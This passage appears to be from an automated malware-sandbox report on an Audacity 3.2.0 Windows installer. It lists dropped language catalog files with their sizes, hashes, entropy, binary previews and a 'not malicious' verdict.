Preview:	........7...0............#......./......./..80.......2.......2.......2.......2.......2..%....2......#3......63......;3......@3......I3......S3......[3......b3......i3......~3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......4.......4.......4......(4......-4......14......:4......F4......M4......]4......g4......t4......z4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......5.......5......"5..,...5..%...W5..1...}5..#....5..$....5.......5.......6......'6.....E6......p6.......6.......6.......6.......6.......7.......7......17......G7......f7......\|7.......7.......7.......7.......7.......7.......7.......7.......7.......8.......8.......8......%8......88......F8......^8......m8.......8.......8.......8.. ....8.......8.......8..#....8.......9.......9......$9......99......P9..z...f9..5....9..;....:../...S:..E....:.."....:..$....:.......;......@;.._...\;..t....;......1<..

C:\Program Files\Audacity\Languages\fi\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4086 messages, Project-Id-Version: audacity 3.0.3 '\011 ja'
Category:	dropped
Size (bytes):	328001
Entropy (8bit):	5.436476684935239
Encrypted:	false
SSDEEP:	6144:t1F/uk0QhJtMRDjeo4aLYoc+dA7BtqIQ3f+EFCL6Kqc1:t1FuII0+A7Btqb+v
MD5:	1C52B330172918B61DB104AEDE61768B
SHA1:	25F83FBC7C79D1500299A5BAC5158A6C06E7C303
SHA-256:	6B042E4C5E15A6D390D49437E91971C86482DB536A09A2130BD7DA6354C1D745
SHA-512:	FD681922C6FEAD5574746AC9A7F17A026C80BE1A786B3ADA11EACA63225B8366212C95764F687C36E0D181DB1BD3CE2B400BB34F72355C05FA3F3A025F666AF0
Malicious:	false
Preview:	....................I...\|........T.......T.......T..'...?U..:...gU..6....U.......U......sV..\|....W..S....W..G....W..*... X..K...KX.......X..m...GY.......Y......FZ.......[.......[.......\.......\.......\.......\.......\.......\.......\.......].......].......]......']....../]..g...<]..P....].......]..F....^.......^..1....^......._......._.......`......Ra.......a.......b......Vc.......d.......d......le.......f.......f.......g..0....g.......h......5h..4...Gh......\|h......~h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......i.......i......&i......Ai......Ii......Pi......mi......vi.......i.......i.......i.......i.......i.......i.......i.......i.......i.......j.......j..8....j..;...Gj.......j.......j..7....j.......j.......k......)k......5k..(...=k......fk......mk......tk.......k.......k.......k.......k.......k.......k.......k.......k..J....k.......l.......l......&l..-...-l..%...[l..$....l.......l.......l.......l..S....l......:m..F...

C:\Program Files\Audacity\Languages\fi\is-N6N61.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4086 messages, Project-Id-Version: audacity 3.0.3 '\011 ja'
Category:	dropped
Size (bytes):	328001
Entropy (8bit):	5.436476684935239
Encrypted:	false
SSDEEP:	6144:t1F/uk0QhJtMRDjeo4aLYoc+dA7BtqIQ3f+EFCL6Kqc1:t1FuII0+A7Btqb+v
MD5:	1C52B330172918B61DB104AEDE61768B
SHA1:	25F83FBC7C79D1500299A5BAC5158A6C06E7C303
SHA-256:	6B042E4C5E15A6D390D49437E91971C86482DB536A09A2130BD7DA6354C1D745
SHA-512:	FD681922C6FEAD5574746AC9A7F17A026C80BE1A786B3ADA11EACA63225B8366212C95764F687C36E0D181DB1BD3CE2B400BB34F72355C05FA3F3A025F666AF0
Malicious:	false
Preview:	....................I...\|........T.......T.......T..'...?U..:...gU..6....U.......U......sV..\|....W..S....W..G....W..*... X..K...KX.......X..m...GY.......Y......FZ.......[.......[.......\.......\.......\.......\.......\.......\.......\.......].......].......]......']....../]..g...<]..P....].......]..F....^.......^..1....^......._......._.......`......Ra.......a.......b......Vc.......d.......d......le.......f.......f.......g..0....g.......h......5h..4...Gh......\|h......~h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......i.......i......&i......Ai......Ii......Pi......mi......vi.......i.......i.......i.......i.......i.......i.......i.......i.......i.......j.......j..8....j..;...Gj.......j.......j..7....j.......j.......k......)k......5k..(...=k......fk......mk......tk.......k.......k.......k.......k.......k.......k.......k.......k..J....k.......l.......l......&l..-...-l..%...[l..$....l.......l.......l.......l..S....l......:m..F...

C:\Program Files\Audacity\Languages\fr\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3974 messages, Project-Id-Version: audacity 3.0.3 '\011 et'
Category:	dropped
Size (bytes):	344071
Entropy (8bit):	5.419584478237276
Encrypted:	false
SSDEEP:	6144:+sYSjDv/IcMRDjeo4/gboc+dA7v9dglyBMMevHeKorksmiq7:48VA7v9dgQUv+Lrksmh7
MD5:	089EFA8F3F2955C46D0B42B7DD72F589
SHA1:	0C6078B58920F44F17780B5CAE944BC7E5B68200
SHA-256:	16F2C63F653627A0A9524D768C67F90FDA3A8225CA5D30BBC0B7C66473E9F041
SHA-512:	BF88868E88AB1134ED7469ABD2759EE91EAF059B51A9E43E2EE94B8B2EED9DCD37DE46AFE30066D0B3651465DCE5030B8C91C8300AC18016666832ED806604C5
Malicious:	false
Preview:	................L\|......\|.......XK......YK......dK..'....K..:....L..6...ZL.......L......+M..\|....M..S...<N..G....N..*....N..K....O......OO..m....O......mP.......P.......Q......pR......wS.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S..g....S..P...\T.......T..F...AU.......U..1....U.......U......sV......pW.......X.......X......MY.......Z.......Z......\[......$\.......\......g].......^..0....^.......^..4....^......"_......$_......2_......:_......F_......S_......Z_......d_......k_......s_......._......._......._......._......._......._......._......._......._.......`.......`.......`......4`......E`......M`......b`..8...i`..;....`.......`.......`..7....a......Qa......la.......a..(....a.......a.......a.......a.......a.......a.......a.......a.......b..J....b......Xb......^b......gb..-...nb..%....b..$....b.......b.......b.......b..S...'c......{c..F....c.......c.......c.......c.......d.......d..(...!d......Jd......dd.......d.......d.......d.......d..%...

C:\Program Files\Audacity\Languages\fr\is-NL67K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3974 messages, Project-Id-Version: audacity 3.0.3 '\011 et'
Category:	dropped
Size (bytes):	344071
Entropy (8bit):	5.419584478237276
Encrypted:	false
SSDEEP:	6144:+sYSjDv/IcMRDjeo4/gboc+dA7v9dglyBMMevHeKorksmiq7:48VA7v9dgQUv+Lrksmh7
MD5:	089EFA8F3F2955C46D0B42B7DD72F589
SHA1:	0C6078B58920F44F17780B5CAE944BC7E5B68200
SHA-256:	16F2C63F653627A0A9524D768C67F90FDA3A8225CA5D30BBC0B7C66473E9F041
SHA-512:	BF88868E88AB1134ED7469ABD2759EE91EAF059B51A9E43E2EE94B8B2EED9DCD37DE46AFE30066D0B3651465DCE5030B8C91C8300AC18016666832ED806604C5
Malicious:	false
Preview:	................L\|......\|.......XK......YK......dK..'....K..:....L..6...ZL.......L......+M..\|....M..S...<N..G....N..*....N..K....O......OO..m....O......mP.......P.......Q......pR......wS.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S..g....S..P...\T.......T..F...AU.......U..1....U.......U......sV......pW.......X.......X......MY.......Z.......Z......\[......$\.......\......g].......^..0....^.......^..4....^......"_......$_......2_......:_......F_......S_......Z_......d_......k_......s_......._......._......._......._......._......._......._......._......._.......`.......`.......`......4`......E`......M`......b`..8...i`..;....`.......`.......`..7....a......Qa......la.......a..(....a.......a.......a.......a.......a.......a.......a.......a.......b..J....b......Xb......^b......gb..-...nb..%....b..$....b.......b.......b.......b..S...'c......{c..F....c.......c.......c.......c.......d.......d..(...!d......Jd......dd.......d.......d.......d.......d..%...

C:\Program Files\Audacity\Languages\ga\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2001 messages, Project-Id-Version: audacity 3.0.3 '\011 agus'
Category:	dropped
Size (bytes):	111479
Entropy (8bit):	5.41588775035177
Encrypted:	false
SSDEEP:	3072:72dwyB1I5/FLJyWsopa1e2zMV2vAYdxOfllWeovjDUwjN6rnHcpCX3Kg8u3dbdym:adwyofLJX0Q2zMcvQsP8czSb
MD5:	7764C3C9F02A9BFBCCB93173FC559C55
SHA1:	873CCC5D8865A7590522BBCF7F66FF831F2CA207
SHA-256:	677C07DD0D3F70015AFF3FFED39F2146CE52B5ED116C744CF46169427410535D
SHA-512:	D1E35C4495F5191F85662E422EFAB9F28F0829650F51A935D625B887CC40BB87BC53DE3CABFDDA6D37EA843A5DD624E087609CAAC39E3FE4D16F7ED04E45FCBC
Malicious:	false
Preview:	.................>..o...,}............................................................$.......0.......>.......I.......S.......\...P...d...........1..........................9.......K.......M.......V.......^.......j.......w.......~....................................................................................................................7.......C.......I.......^.......q.......w...........................................(......................................................................................'.......0.......;.......A.......J...%...Q.......w...........S..................................................&.......;.......U.......r...................%........................................!.......,.......>.......B.......F.......M.......T.......g.......l.......z..............................................................................................$...........@.......P.......X.......`.......v.......}...............................................

C:\Program Files\Audacity\Languages\ga\is-T5ETS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2001 messages, Project-Id-Version: audacity 3.0.3 '\011 agus'
Category:	dropped
Size (bytes):	111479
Entropy (8bit):	5.41588775035177
Encrypted:	false
SSDEEP:	3072:72dwyB1I5/FLJyWsopa1e2zMV2vAYdxOfllWeovjDUwjN6rnHcpCX3Kg8u3dbdym:adwyofLJX0Q2zMcvQsP8czSb
MD5:	7764C3C9F02A9BFBCCB93173FC559C55
SHA1:	873CCC5D8865A7590522BBCF7F66FF831F2CA207
SHA-256:	677C07DD0D3F70015AFF3FFED39F2146CE52B5ED116C744CF46169427410535D
SHA-512:	D1E35C4495F5191F85662E422EFAB9F28F0829650F51A935D625B887CC40BB87BC53DE3CABFDDA6D37EA843A5DD624E087609CAAC39E3FE4D16F7ED04E45FCBC
Malicious:	false
Preview:	.................>..o...,}............................................................$.......0.......>.......I.......S.......\...P...d...........1..........................9.......K.......M.......V.......^.......j.......w.......~....................................................................................................................7.......C.......I.......^.......q.......w...........................................(......................................................................................'.......0.......;.......A.......J...%...Q.......w...........S..................................................&.......;.......U.......r...................%........................................!.......,.......>.......B.......F.......M.......T.......g.......l.......z..............................................................................................$...........@.......P.......X.......`.......v.......}...............................................

C:\Program Files\Audacity\Languages\gl\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1695 messages, Project-Id-Version: audacity 3.0.3 'Os ficheiros amosados como PERDIDOS foron movidos ou eliminados e non \303\251 pos\303\255bel copialos.'
Category:	dropped
Size (bytes):	137309
Entropy (8bit):	5.315607729059806
Encrypted:	false
SSDEEP:	3072:AAPtr/VrZo1x//Y9RDaNoJe6Wn0eAlf7h56kiTWpVjy:A+HEQ9RDYo86O0eAkTL
MD5:	CA2781778C94A810B97B664A5754B4F2
SHA1:	619404C4DA37C0553D8BF55CC23CF8684A48EFD0
SHA-256:	45F77BE87B20C19BDBBDF70F2CCD68FFB21512489307FBB32CC49EB9186BE5D3
SHA-512:	B04B6E88236BFA683F010DB2C12DFA7ED16A624B66839779D50D3302B9DC1F12CFCCE9E7BFAA182E17EAFA95249872BB0CDC6906E625CB7E6770874B2909A6AB
Malicious:	false
Preview:	.................5.......j......x.......y...'...........4...................................................................%...1..................................#...............f.......'..............u..........................4..........#..............4.......;.......E.......O.......T.......[.......g...........J.......%..................................".......4.......B.......G.......P.......W.......a...(...n...........$.....................................................................................................:.......G.......P..."...Y.......\|...................................................................................................).......5.......?.......L......._.......e.......n.......v....................................................................................................................$.......*......./.......F.......L.......P.......Y.......c.......u...........................................................................

C:\Program Files\Audacity\Languages\gl\is-OKLKC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1695 messages, Project-Id-Version: audacity 3.0.3 'Os ficheiros amosados como PERDIDOS foron movidos ou eliminados e non \303\251 pos\303\255bel copialos.'
Category:	dropped
Size (bytes):	137309
Entropy (8bit):	5.315607729059806
Encrypted:	false
SSDEEP:	3072:AAPtr/VrZo1x//Y9RDaNoJe6Wn0eAlf7h56kiTWpVjy:A+HEQ9RDYo86O0eAkTL
MD5:	CA2781778C94A810B97B664A5754B4F2
SHA1:	619404C4DA37C0553D8BF55CC23CF8684A48EFD0
SHA-256:	45F77BE87B20C19BDBBDF70F2CCD68FFB21512489307FBB32CC49EB9186BE5D3
SHA-512:	B04B6E88236BFA683F010DB2C12DFA7ED16A624B66839779D50D3302B9DC1F12CFCCE9E7BFAA182E17EAFA95249872BB0CDC6906E625CB7E6770874B2909A6AB
Malicious:	false
Preview:	.................5.......j......x.......y...'...........4...................................................................%...1..................................#...............f.......'..............u..........................4..........#..............4.......;.......E.......O.......T.......[.......g...........J.......%..................................".......4.......B.......G.......P.......W.......a...(...n...........$.....................................................................................................:.......G.......P..."...Y.......\|...................................................................................................).......5.......?.......L......._.......e.......n.......v....................................................................................................................$.......*......./.......F.......L.......P.......Y.......c.......u...........................................................................

C:\Program Files\Audacity\Languages\he\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 736 messages, Project-Id-Version: audacity 3.0.3 '\327\224\327\247\327\221\327\246\327\231\327\235 \327\251\327\236\327\225\327\246\327\222\327\231\327\235 \327\233\327\227\327\241\327\250\327\231\327\235 \327\224\327\225\327\242\327\221\327\250\327\225 \327\220\327\225 \327\240\327\236\327\227\327\247\327\225 \327\225\327\234\327\220 \327\240\327\231\327\252\327\240\327\231\327\235 \327\234\327\224\327\242\327\252\327\247\327\224.'
Category:	dropped
Size (bytes):	53648
Entropy (8bit):	5.256203369943165
Encrypted:	false
SSDEEP:	1536:r5yqB+8BaFhZoS420oadA0b5yGSiF86fG2OAWJH:9b6hZoS4HoadAC5NoBJH
MD5:	FAD1CD277258D08BD3D3741D0A28D946
SHA1:	C65F5463B8D20D0B3B6DABD0D13743F2C484961B
SHA-256:	DAD9033277111119DEB0DA2062173B3F8EA631F8506D084906E6A1973B2F4547
SHA-512:	DAADFDE74E735247AC412D57E3D5E01755F72A2D643F0108C1AC2C93B931996D2035B68BB37F959AB94EE5D25B7E07FB102BF5086F09FBC37F978BCAF502385D
Malicious:	false
Preview:	................................x=......y=.......>.......>...... >......)>.......>......u?.......@......5@......A@..J...L@..%....@.......@.......@.......@.......@.......@.......@.......@.......@.......A.......A......!A......'A......,A......6A......>A......GA......MA......^A......iA......oA......{A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......B.......B.......B.......B......)B......5B......<B......LB......VB......cB......iB......rB......zB.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......C.......C......$C..,...,C..%...YC..1....C..#....C..$....C.......C.......D......!D......3D......5D......>D......OD......VD......aD......cD......nD.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D../....D.......E...... E......0E......<E......IE......\E......jE.......E.......E.......E.......E.......E.......E.......E.......F.......F.......F......'F.. ...

C:\Program Files\Audacity\Languages\he\is-O5794.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 736 messages, Project-Id-Version: audacity 3.0.3 '\327\224\327\247\327\221\327\246\327\231\327\235 \327\251\327\236\327\225\327\246\327\222\327\231\327\235 \327\233\327\227\327\241\327\250\327\231\327\235 \327\224\327\225\327\242\327\221\327\250\327\225 \327\220\327\225 \327\240\327\236\327\227\327\247\327\225 \327\225\327\234\327\220 \327\240\327\231\327\252\327\240\327\231\327\235 \327\234\327\224\327\242\327\252\327\247\327\224.'
Category:	dropped
Size (bytes):	53648
Entropy (8bit):	5.256203369943165
Encrypted:	false
SSDEEP:	1536:r5yqB+8BaFhZoS420oadA0b5yGSiF86fG2OAWJH:9b6hZoS4HoadAC5NoBJH
MD5:	FAD1CD277258D08BD3D3741D0A28D946
SHA1:	C65F5463B8D20D0B3B6DABD0D13743F2C484961B
SHA-256:	DAD9033277111119DEB0DA2062173B3F8EA631F8506D084906E6A1973B2F4547
SHA-512:	DAADFDE74E735247AC412D57E3D5E01755F72A2D643F0108C1AC2C93B931996D2035B68BB37F959AB94EE5D25B7E07FB102BF5086F09FBC37F978BCAF502385D
Malicious:	false
Preview:	................................x=......y=.......>.......>...... >......)>.......>......u?.......@......5@......A@..J...L@..%....@.......@.......@.......@.......@.......@.......@.......@.......@.......A.......A......!A......'A......,A......6A......>A......GA......MA......^A......iA......oA......{A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......A.......B.......B.......B.......B......)B......5B......<B......LB......VB......cB......iB......rB......zB.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......C.......C......$C..,...,C..%...YC..1....C..#....C..$....C.......C.......D......!D......3D......5D......>D......OD......VD......aD......cD......nD.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D../....D.......E...... E......0E......<E......IE......\E......jE.......E.......E.......E.......E.......E.......E.......E.......F.......F.......F......'F.. ...

C:\Program Files\Audacity\Languages\hi\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 \340\244\224\340\244\260'
Category:	dropped
Size (bytes):	518134
Entropy (8bit):	5.297074821332897
Encrypted:	false
SSDEEP:	6144:6m72Up8Fxr6sYRDjIoj5/asc+1A7MwpcXWGacb4:6R+VVA7MwpcyX
MD5:	ED73E2DD866FA3B785A8E53D6C5D04C9
SHA1:	D0F687C7DD6ADB6802CA6611505A37B98C0C4650
SHA-256:	0F51009F014DEA902E4E312E1AD59F11334569434B3C22DC29F96289565BAF35
SHA-512:	96C6246A9064E8F1C0C0B5224C71F5E3DA83CD0E908BD575EF880D4966B9C12908C41F734EBFB33D088F4D81A578AF41F33F075B3C04818EB27D4EDC0AB50D11
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\hi\is-SQO61.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 \340\244\224\340\244\260'
Category:	dropped
Size (bytes):	518134
Entropy (8bit):	5.297074821332897
Encrypted:	false
SSDEEP:	6144:6m72Up8Fxr6sYRDjIoj5/asc+1A7MwpcXWGacb4:6R+VVA7MwpcyX
MD5:	ED73E2DD866FA3B785A8E53D6C5D04C9
SHA1:	D0F687C7DD6ADB6802CA6611505A37B98C0C4650
SHA-256:	0F51009F014DEA902E4E312E1AD59F11334569434B3C22DC29F96289565BAF35
SHA-512:	96C6246A9064E8F1C0C0B5224C71F5E3DA83CD0E908BD575EF880D4966B9C12908C41F734EBFB33D088F4D81A578AF41F33F075B3C04818EB27D4EDC0AB50D11
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\hr\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1395 messages, Project-Id-Version: audacity 3.0.3 'Datoteke s pridjevom NEDOSTAJE premje\305\241tene su ili izbrisane i ne mogu se kopirati.'
Category:	dropped
Size (bytes):	106809
Entropy (8bit):	5.387744707386487
Encrypted:	false
SSDEEP:	3072:BAts6w+O9jn9PSZoKeyoBRD2cnIP+YAoUiZ6IPU9yM2XlqqRtbi2ELM29Ab42:BAtjwr9u+RDzn++YADIPUIMgqqRtbi2J
MD5:	A10E4E94831D9FDCE5DD19BDD8EA8223
SHA1:	79039E58464688BE59F7B66D7373B9E6546493EA
SHA-256:	5B4F326D9EEFF320C78C1A9F059F4F3A5CE96D1CCAE09622DE18C80B0F4B275C
SHA-512:	1F02232B6266BC3C62155BD843E1046D4A588441A1F0DEBB80B342FC5CC983CC14B0B75A10F04478A8238FBDF00F1948E4DCFE1D38E13BC0D1B2BADEF13F2015
Malicious:	false
Preview:	........s........+..E...LW......`t......at..'....t.......u.......u.......u.......u.......u..1...gv.......v......:w......7x.......x......by.......z.......z.......{......#\|.......\|......f}.......~..4....~.......~.......~.......~.......~.......~.......~..................................J...9...%.......................................................................(...........1.......9.......@.......G.......\.......e.......k.......s.......x..................................."................................................................!.......*.......6.......@.......M.......`.......f.......n.......y...................................................................................................................................&.......8.......D.......K.......R.......b.......l.......\|.............................................................................................................).......<.......O.......^.......k.......v...............................................

C:\Program Files\Audacity\Languages\hr\is-PHG0Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1395 messages, Project-Id-Version: audacity 3.0.3 'Datoteke s pridjevom NEDOSTAJE premje\305\241tene su ili izbrisane i ne mogu se kopirati.'
Category:	dropped
Size (bytes):	106809
Entropy (8bit):	5.387744707386487
Encrypted:	false
SSDEEP:	3072:BAts6w+O9jn9PSZoKeyoBRD2cnIP+YAoUiZ6IPU9yM2XlqqRtbi2ELM29Ab42:BAtjwr9u+RDzn++YADIPUIMgqqRtbi2J
MD5:	A10E4E94831D9FDCE5DD19BDD8EA8223
SHA1:	79039E58464688BE59F7B66D7373B9E6546493EA
SHA-256:	5B4F326D9EEFF320C78C1A9F059F4F3A5CE96D1CCAE09622DE18C80B0F4B275C
SHA-512:	1F02232B6266BC3C62155BD843E1046D4A588441A1F0DEBB80B342FC5CC983CC14B0B75A10F04478A8238FBDF00F1948E4DCFE1D38E13BC0D1B2BADEF13F2015
Malicious:	false
Preview:	........s........+..E...LW......`t......at..'....t.......u.......u.......u.......u.......u..1...gv.......v......:w......7x.......x......by.......z.......z.......{......#\|.......\|......f}.......~..4....~.......~.......~.......~.......~.......~.......~..................................J...9...%.......................................................................(...........1.......9.......@.......G.......\.......e.......k.......s.......x..................................."................................................................!.......*.......6.......@.......M.......`.......f.......n.......y...................................................................................................................................&.......8.......D.......K.......R.......b.......l.......\|.............................................................................................................).......<.......O.......^.......k.......v...............................................

C:\Program Files\Audacity\Languages\hu\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3791 messages, Project-Id-Version: audacity 3.0.3 '\011 \303\251s'
Category:	dropped
Size (bytes):	293251
Entropy (8bit):	5.6075761521711165
Encrypted:	false
SSDEEP:	6144:35p2X8wDyatrNRLlRD2oI4VYqMA70YEKGiTWSaIu2w3:3/r7pA7Lj4
MD5:	BA096BD0B692397AC8492831204C5E51
SHA1:	BD6D58E8BB66B245EA034B9192E3F44DE07E624A
SHA-256:	E504C38FAA11F3F09CF2B0DAB465E7C8ED1D2609902F9788BE70A17305E5D884
SHA-512:	F5853C999BBD1FCA27A5C8AD8AB596578448F9060002C311515AB699621546C5527888217705DE32AE55B668ABCE5F5A6C33349C633F9B925145AA79D38EE8D9
Malicious:	false
Preview:	.................v...............<.......<......$<..'....<..:....<.......=..$....=..6...C=..(...z=.......=......=>..\|....>..S...N?..G....?..*....?..K....@......a@..m....A.......A.......B.......B.......C.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D..g....E..P...nE.......E..F...SF.......F..1....F.......F.......G.......H.......I.......I......_J...... K.......K......nL......6M.......M......yN.......O..0....O.......O.......O..4....P......FP......HP......VP......_P......gP......sP.......P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......Q.......Q.......Q......7Q......@Q......LQ......RQ......gQ......zQ.......Q.......Q.......Q.......Q.......Q.......Q.......Q..8....Q..;....R......MR......lR..7....R.......R.......R.......R..R....R..0...RS.......S..(....S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......T.......T..J....T......eT......kT......tT..-...{T..%....T..$....T......

C:\Program Files\Audacity\Languages\hu\is-LCVQ1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3791 messages, Project-Id-Version: audacity 3.0.3 '\011 \303\251s'
Category:	dropped
Size (bytes):	293251
Entropy (8bit):	5.6075761521711165
Encrypted:	false
SSDEEP:	6144:35p2X8wDyatrNRLlRD2oI4VYqMA70YEKGiTWSaIu2w3:3/r7pA7Lj4
MD5:	BA096BD0B692397AC8492831204C5E51
SHA1:	BD6D58E8BB66B245EA034B9192E3F44DE07E624A
SHA-256:	E504C38FAA11F3F09CF2B0DAB465E7C8ED1D2609902F9788BE70A17305E5D884
SHA-512:	F5853C999BBD1FCA27A5C8AD8AB596578448F9060002C311515AB699621546C5527888217705DE32AE55B668ABCE5F5A6C33349C633F9B925145AA79D38EE8D9
Malicious:	false
Preview:	.................v...............<.......<......$<..'....<..:....<.......=..$....=..6...C=..(...z=.......=......=>..\|....>..S...N?..G....?..*....?..K....@......a@..m....A.......A.......B.......B.......C.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D.......D..g....E..P...nE.......E..F...SF.......F..1....F.......F.......G.......H.......I.......I......_J...... K.......K......nL......6M.......M......yN.......O..0....O.......O.......O..4....P......FP......HP......VP......_P......gP......sP.......P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......P.......Q.......Q.......Q......7Q......@Q......LQ......RQ......gQ......zQ.......Q.......Q.......Q.......Q.......Q.......Q.......Q..8....Q..;....R......MR......lR..7....R.......R.......R.......R..R....R..0...RS.......S..(....S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......T.......T..J....T......eT......kT......tT..-...{T..%....T..$....T......

C:\Program Files\Audacity\Languages\hy\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1485 messages, Project-Id-Version: audacity 3.0.3 '\325\226\325\241\325\265\325\254\325\245\326\200\325\250 \325\270\326\200\325\272\325\245\325\275 \324\262\324\261\325\221\324\261\324\277\324\261 \325\277\325\245\325\262\325\241\326\203\325\270\325\255\325\276\325\245\325\254 \325\257\325\241\325\264 \325\273\325\266\325\273\325\276\325\245\325\254 \325\245\325\266 \326\207 \325\271\325\245\325\266 \325\257\325\241\326\200\325\270\325\262 \325\272\325\241\325\277\325\263\325\245\325\266\325\276\325\245\325\254:'
Category:	dropped
Size (bytes):	144869
Entropy (8bit):	5.471348376301057
Encrypted:	false
SSDEEP:	3072:uJnyCpQMRZoynl//RDD7j3hIXA0o8bW5PJL:snZpD3RDfjRIXAYbAPZ
MD5:	01CAD7A6DB18C3D4FC43C8E5894D618D
SHA1:	283D9FC8C8EA9897FF3EFA43D0F76BCC8C30F842
SHA-256:	BCAAAA114701ADB167FE28D51BCEA1FA801976370ED929138B2B3B6BEA9EAC5F
SHA-512:	C880FF6CC845CCB46BEFBFB2724A706CAADD6B6466623AB8C9F32021178913CC64F59233D6B2C67AFD6D690706F2259928D3F1CE572B45C8F8235521492EDE75
Malicious:	false
Preview:	.........................\.......{.......{..'....\|.......\|......N}......W}......b}......k}..1....}......1~.......~..............i.......................m.......'...............Y...................4...4.......i.......p.......z...........................................J......%...........3.......F.......K.......Y.......k.......y.......~...................(..............$.................................................'.......-.......5.......:.......D.......L.......Z.......j.......w...........".......................................................................................&.......3.......?.......I.......V.......i.......o.......x...........................................................................................................................#.......4.......:.......?.......E.......I.......R.......\.......n.......z....................................................................................................................'.......4.......P.......`.......

C:\Program Files\Audacity\Languages\hy\is-U2HOB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
